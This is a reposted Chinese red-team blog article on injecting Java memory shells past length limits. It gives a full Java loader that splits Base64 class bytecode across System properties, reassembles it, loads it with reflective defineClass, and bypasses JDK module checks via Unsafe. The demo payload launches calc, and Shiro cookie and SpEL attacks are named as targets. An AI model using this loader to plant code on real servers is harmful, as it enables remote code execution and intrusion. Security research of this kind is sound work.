分块传输打内存马

admin 2026-01-18 02:23:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种利用分块传输思想绕过字符长度限制注入内存马的技术。通过将恶意字节码切割并存储在系统属性中,利用反射动态拼接和加载,成功规避了如Shiro反序列化Cookie长度或Spel表达式长度限制。该方法结合Unsafe绕过JDK模块机制,提供了实战中的新利用思路。 综合评分: 86 文章分类: WEB安全,红队,渗透测试


cover_image

分块传输打内存马

原创

ptr ptr

UpRoot

2026年1月17日 14:27 江苏

针对一些限制字符长度的打内存马场景,常用的思想是分离加载内存马,但最近学习到一种分块传输的思想,本质上是借助“全局变量”来存储字节码。

来看下我写的这段代码,其实现了JDK全版本动态加载字节码:

package com;

import org.apache.shiro.codec.Base64;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

publicclass test {

    static {

        try{
            bypassModule();
            System.setProperty("a", "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29k");
            System.setProperty("b", "ZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAlD");
            System.setProperty("c", "YWxjLmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFu");
            System.setProperty("d", "Zy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAARDYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50");
            System.setProperty("e", "aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJp");
            System.setProperty("f", "bmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAK");
            System.setProperty("g", "AAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhID");
            System.setProperty("h", "tgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS");

            StringBuilder sb = new StringBuilder();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;8; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;key = (char) ('a'&nbsp;+ i);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String part = System.getProperty(String.valueOf(key));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(part !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.append(part);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String payload = sb.toString();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] var14 = Base64.decode(payload);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method var15 = ClassLoader.class.getDeclaredMethod("defineClass",&nbsp;byte[].class,&nbsp;Integer.TYPE,&nbsp;Integer.TYPE);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var15.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class var16 = (Class)var15.invoke(test.class.getClassLoader(),&nbsp;var14,&nbsp;new&nbsp;Integer(0),&nbsp;new&nbsp;Integer(var14.length));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var16.newInstance();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(payload);
&nbsp; &nbsp; &nbsp; &nbsp; }catch&nbsp;(Exception e){

&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; );
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;bypassModule(){
&nbsp; &nbsp; &nbsp; &nbsp; Object var3;
&nbsp; &nbsp; &nbsp; &nbsp; Object var4;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class var1 = Class.forName("sun.misc.Unsafe");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Field var2 = var1.getDeclaredField("theUnsafe");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var2.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var3 = var2.get((Object)null);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var4 = Class.class.getMethod("getModule").invoke(Object.class, (Object[])null);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method var5 = var3.getClass().getMethod("objectFieldOffset", Field.class);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Long var6 = (Long)var5.invoke(var3, Class.class.getDeclaredField("module"));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method var7 = var3.getClass().getMethod("getAndSetObject", Object.class,&nbsp;Long.TYPE,&nbsp;Object.class);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var7.invoke(var3, test.class,&nbsp;var6,&nbsp;var4);
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception var10) {
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

其借助System.setProerty()设置系统属性,通过写一个简单的脚本可以将内存马切割成8份,然后将每一份存入系统属性,后续通过反射拿到defineClass来进行动态加载字节码,从而实现远程代码执行。

这种手法的应用场景可以是Shiro反序列化打内存马过waf对cookie长度的限制,可以是Spel表达式打内存马过1w字符的限制等。

具体的武器化,我将在几天后发出来,封装到工具中来实现,大幅度降低利用的复杂度。

  • END –

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:UpRoot ptr ptr《分块传输打内存马》

分块传输打内存马 网络安全文章

分块传输打内存马

文章总结: 本文介绍了一种利用分块传输思想绕过字符长度限制注入内存马的技术。通过将恶意字节码切割并存储在系统属性中,利用反射动态拼接和加载,成功规避了如Shir
评论:0   参与:  0